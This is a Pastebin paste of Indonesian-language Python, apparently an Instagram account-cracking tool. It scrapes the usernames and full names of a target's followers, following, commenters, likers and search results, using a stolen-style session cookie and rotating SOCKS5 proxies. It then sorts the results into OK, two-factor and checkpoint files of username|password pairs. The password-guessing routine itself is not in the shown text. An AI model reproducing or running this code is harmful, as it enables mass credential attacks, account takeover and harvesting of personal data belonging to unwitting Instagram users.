OBF-XIn

125.166.9.168-/sdcard/Premium/instagram.py.py

Mar 24th, 2024
20
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 109.85 KB | None | 0 0
  1. # create by ZORA ID 2024
  2.  
  3. try:
  4.     import uuid, hmac, hashlib, urllib, shutil, base64
  5.     import os, re, sys, json, time, random, datetime, requests
  6.     from asset.enc_password import Requre
  7.     from asset.amankan_data import Require
  8.     from asset.useragent_ig import Useragent
  9.     from rich.tree import Tree
  10.     from rich import print as printz
  11.     from rich.panel import Panel
  12.     from facebook import Facebook
  13.     from rich.console import Console
  14.     from rich.columns import Columns
  15.     from bs4 import BeautifulSoup as bs
  16.     from banner import Terminal
  17.     from concurrent.futures import ThreadPoolExecutor
  18. except(Exception, KeyboardInterrupt) as e:
  19.     try:
  20.         from urllib.parse import quote
  21.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
  22.         exit()
  23.     except(Exception, KeyboardInterrupt) as e:
  24.         from urllib.parse import quote
  25.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
  26.         exit()
  27.  
  28. dump = []
  29.            
  30. class Requ:
  31.     def __init__(self) -> None:
  32.         self.proxies = []
  33.         pass        
  34.        
  35.     def Convert_Name(self, xxx, cookie):
  36.         with requests.Session() as r:
  37.             try:
  38.                 response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
  39.                 if 'user_id' in str(response):
  40.                     return(re.findall('"user_id":"(\d+)"', str(response))[0])
  41.             except (Exception) as e: pass
  42.            
  43.     def Convert_Url(self, xxx, cookie):
  44.         with requests.Session() as r:
  45.             try:
  46.                 response = r.get(xxx, cookies={'cookie': cookie}).text
  47.                 if 'media_id' in str(response):
  48.                     return(re.findall('{"media_id":"(.*?)"',str(response))[0])
  49.             except (Exception) as e: exit(e)
  50.  
  51.     def Validasi_Username(self, username):
  52.        with requests.Session() as r:
  53.            try:
  54.                response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
  55.                return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
  56.            except (Exception) as e: return(None,None,None,None)
  57.        
  58.     def Socksku(self):
  59.         with requests.Session() as r:
  60.             try:
  61.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  62.                 for prox in response.splitlines():
  63.                     self.proxies.append(prox)
  64.                 return self.proxies
  65.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()                
  66.        
  67. class Login:
  68.     def __init__(self) -> None:
  69.         pass
  70.        
  71.     def Username_And_Password(self):
  72.         try:
  73.             Terminal().Banner_Instagram()
  74.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
  75.             cookies = Console().input("[bold grey50]   ╰─> ")
  76.             if len(cookies) >0:
  77.                 self.username, self.fullname = self.Validasi_Cookies(cookies)
  78.                 with open('.cookie_instagram.json', 'w') as wr:
  79.                     wr.write(json.dumps({
  80.                         "Cookie": cookies,
  81.                     }))
  82.                     wr.close()
  83.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!...", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Success[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  84.                 exit()
  85.             else:
  86.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Masukan Cookie Instagram, Jangan Sampai Kosong Ngabs!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  87.                 exit()
  88.         except (KeyboardInterrupt, Exception) as e:
  89.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  90.             exit()    
  91.        
  92.     def Validasi_Cookies(self, cookies):
  93.         with requests.Session() as r:
  94.             r.headers.update({
  95.                 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
  96.             })
  97.             response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.search('ds_user_id=(\d+)',str(cookies)).group(1)), cookies = {
  98.                 'cookie': cookies
  99.             })
  100.             self.payload = json.loads(response.text)
  101.             if '\'username\':' in str(self.payload):
  102.                 self.username = self.payload['user']['username']
  103.                 self.fullname = self.payload['user']['full_name']
  104.                 return(self.username, self.fullname)
  105.             else:
  106.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  107.                 time.sleep(3.5)
  108.                 self.Username_And_Password()
  109.                
  110. class Instagram:
  111.     def __init__(self):
  112.         self.uaman, self.uaku = [],[]
  113.         self.password_manual, self.masukan_sandi, self.Kilometers, self.Meterans, self.amankan_akun = [],[],[],[],[]
  114.         self.success, self.chekpoint, self.faktor, self.looping, self.sandi_salah = 0,0,0,0,0
  115.  
  116.     def Remove_Cookie(self):
  117.         try: os.system('rm -rf .cookie_instagram.json')
  118.         except (Exception): pass
  119.         Login().Username_And_Password()
  120.  
  121.     def Chek_Cookies(self, created, exspired, sisa):
  122.         try:
  123.            cookie = json.loads(open('.cookie_instagram.json', 'r').read())['Cookie']
  124.            self.Menu_Instagram(created, exspired, sisa, cookie)          
  125.         except (FileNotFoundError) as e:
  126.            Terminal().Clear_Terminal()
  127.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  128.            Console().print("[bold grey50]   ╰─> File Not Found Error!!..")
  129.            time.sleep(3.5)
  130.            self.Remove_Cookie()
  131.            
  132.     def Menu_Instagram(self, created, exspired, sisa, cookie):
  133.         try:
  134.             bulan = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  135.             txp,bxp,hxp = exspired.split('-'); tcd,bcd,hcd = created.split('-')
  136.             self.username, self.fullname = Login().Validasi_Cookies(cookie)
  137.         except (KeyError) as e:
  138.             Terminal().Clear_Terminal()
  139.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  140.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!...")
  141.             time.sleep(3.5)
  142.             self.Remove_Cookie()
  143.            
  144.         except (requests.exceptions.ConnectionError) as e:
  145.             Terminal().Clear_Terminal()
  146.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  147.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!...")
  148.             time.sleep(3.5)
  149.             self.Chek_Cookies()
  150.         try:                    
  151.             Terminal().Banner_Instagram()
  152.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  153.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Join [bold green]{hcd} {bulan[bcd]} {tcd}\n[bold green]•[bold white] Exspired [bold red]{hxp} {bulan[bxp]} {txp}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info License[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  154.             Console().print(Columns(self.Kilometers))
  155.             #Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Status Key [italic green]Aktif[italic white] Exspired Dalam [italic yellow]{sisa}[italic white] Hari!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<"),justify='center')
  156.         except (AttributeError) as e:
  157.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  158.             exit()
  159.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack nama dari follower    [bold white][bold green]06[bold white]. Chek Detedtor Chekpoint\n[bold white][bold green]02[bold white]. Crack nama dari following\t[bold white][bold green]07[bold white]. Chek Result Crack Anda\n[bold white][bold green]03[bold white]. Crack nama dari search nama\t[bold white][bold green]08[bold white]. Beralih Ke Facebook\n[bold white][bold green]04[bold white]. Crack nama dari komentar\t[bold white][bold green]00[bold white].[bold red] Exit Instagram\n[bold white][bold green]05[bold white]. Crack nama dari likers''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  160.         query = Console().input("[bold grey50]   ╰─> ")
  161.         if query == '01' or query == '1':
  162.             try:
  163.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  164.                 username = Console().input("[bold grey50]   ╰─> ")
  165.                 for self.username in username.split(','):
  166.                     uid = Requ().Convert_Name(self.username, cookie)
  167.                 try: self.Dump_Followers(uid, cookie, '')
  168.                 except (Exception) as e: pass
  169.                 if len(dump) < 50:
  170.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  171.                     exit()
  172.                 else:
  173.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  174.                     self.Methode()
  175.             except (Exception) as e:
  176.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  177.                 exit()
  178.                
  179.         elif query == '02' or query == '2':
  180.             try:
  181.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  182.                 username = Console().input("[bold grey50]   ╰─> ")
  183.                 for self.username in username.split(','):
  184.                     uid = Requ().Convert_Name(self.username, cookie)
  185.                 try: self.Dump_Following(uid, cookie, '')
  186.                 except (Exception) as e: pass
  187.                 if len(dump) < 50:
  188.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  189.                     exit()
  190.                 else:
  191.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  192.                     self.Methode()
  193.             except (Exception) as e:
  194.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  195.                 exit()
  196.                
  197.         elif query == '03' or query == '3':
  198.             try:
  199.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  200.                 username = Console().input("[bold grey50]   ╰─> ")
  201.                 for self.username in username.split(','):
  202.                     try: self.Dump_Search(self.username, cookie)
  203.                     except (Exception) as e: pass
  204.                 if len(dump) < 50:
  205.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  206.                     exit()
  207.                 else:
  208.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  209.                     self.Methode()
  210.             except (Exception) as e:
  211.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  212.                 exit()
  213.                
  214.         elif query == '04' or query == '4':
  215.             try:
  216.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  217.                 username = Console().input("[bold grey50]   ╰─> ")
  218.                 for self.username in username.split(','):
  219.                     uid = Requ().Convert_Url(self.username, cookie)
  220.                 try: self.Dump_Komentar(uid, cookie, '')
  221.                 except (Exception) as e: pass
  222.                 if len(dump) < 50:
  223.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  224.                     exit()
  225.                 else:
  226.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  227.                     self.Methode()
  228.             except (Exception) as e:
  229.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  230.                 exit()
  231.                
  232.         elif query == '05' or query == '5':
  233.             try:
  234.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  235.                 username = Console().input("[bold grey50]   ╰─> ")
  236.                 for self.username in username.split(','):
  237.                     uid = Requ().Convert_Url(self.username, cookie)
  238.                 try: self.Dump_Likers(uid, cookie, '')
  239.                 except (Exception) as e: pass
  240.                 if len(dump) < 50:
  241.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  242.                     exit()
  243.                 else:
  244.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  245.                     self.Methode()
  246.             except (Exception) as e:
  247.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  248.                 exit()
  249.                
  250.         elif query == '06' or query == '6':
  251.             try: file = os.listdir('/sdcard/CP')
  252.             except (Exception) as e:
  253.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  254.                 exit()
  255.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  256.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  257.             files = Console().input("[bold grey50]   ╰─> ")
  258.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  259.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  260.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  261.                 try:
  262.                     username, password = buka.split('|')[1], buka.split('|')[2]
  263.                     self.DetedtorChekpoint(username, password)
  264.                 except (Exception) as e:
  265.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  266.                     exit()
  267.                
  268.         elif query == '07' or query == '7':
  269.             try:
  270.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  271.                 choose = Console().input("[bold grey50]   ╰─> ")
  272.                 if choose =='01' or choose =='1':
  273.                     try:
  274.                         file = os.listdir('/sdcard/OK')
  275.                     except (Exception) as e:
  276.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  277.                         exit()
  278.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  279.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  280.                     files = Console().input("[bold grey50]   ╰─> ")
  281.                     self.Result(choose,files)
  282.                     exit()
  283.                 elif choose =='02' or choose =='2':
  284.                     try:
  285.                         file = os.listdir('/sdcard/2F')
  286.                     except (Exception) as e:
  287.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  288.                         exit()
  289.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File 2F[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  290.                     Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  291.                     files = Console().input("[bold grey50]   ╰─> ")
  292.                     self.Result(choose,files)
  293.                     exit()
  294.                 elif choose =='03' or choose =='3':
  295.                     try:
  296.                         file = os.listdir('/sdcard/CP')
  297.                     except (Exception) as e:
  298.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  299.                         exit()
  300.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  301.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  302.                     files = Console().input("[bold grey50]   ╰─> ")
  303.                     self.Result(choose,files)
  304.                     exit()
  305.                 else:
  306.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  307.                     exit()  
  308.             except (Exception) as e:
  309.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  310.                 exit()
  311.                
  312.         elif query == '08' or query == '8':
  313.             try: Facebook()
  314.             except (Exception) as e:
  315.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  316.                 exit()
  317.                              
  318.         elif query == '00' or query == '0':
  319.             try: self.Remove_Cookie()
  320.             except (Exception) as e:
  321.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  322.                 exit()
  323.         else:
  324.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  325.             exit()              
  326.                  
  327.     def Dump_Search(self, username, cookie):
  328.         with requests.Session() as r:
  329.             try:
  330.                 response = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={self.username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  331.                 for akun in response['users']:
  332.                     username, fullname = akun['user']['username'], akun['user']['full_name']
  333.                     if username+'<=>'+fullname not in dump: dump.append(username+'<=>'+fullname)
  334.             except: pass
  335.             while True:
  336.                 try:
  337.                     response2 = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  338.                     for akun in response2['users']:
  339.                         username, fullname = akun['user']['username'], akun['user']['full_name']
  340.                         if username+'<=>'+fullname not in dump:
  341.                             dump.append(username+'<=>'+fullname)
  342.                             Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  343.                     if 'next_max_id' in str(response2):
  344.                         self.Dump_Search(username, cookie)
  345.                 except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: break
  346.            
  347.     def Dump_Followers(self, username, cookie, max_id):
  348.         with requests.Session() as r:
  349.             try:
  350.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  351.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  352.                 for akun in response['users']:
  353.                     if akun not in dump:
  354.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  355.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  356.                 if 'next_max_id' in str(response):
  357.                     self.Dump_Followers(username, cookie, response['next_max_id'])
  358.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  359.            
  360.     def Dump_Following(self, username, cookie, max_id):
  361.         with requests.Session() as r:
  362.             try:
  363.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  364.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  365.                 for akun in response['users']:
  366.                     if akun not in dump:
  367.                         dump.append(akun['username']+'<=>'+akun['full_name'])
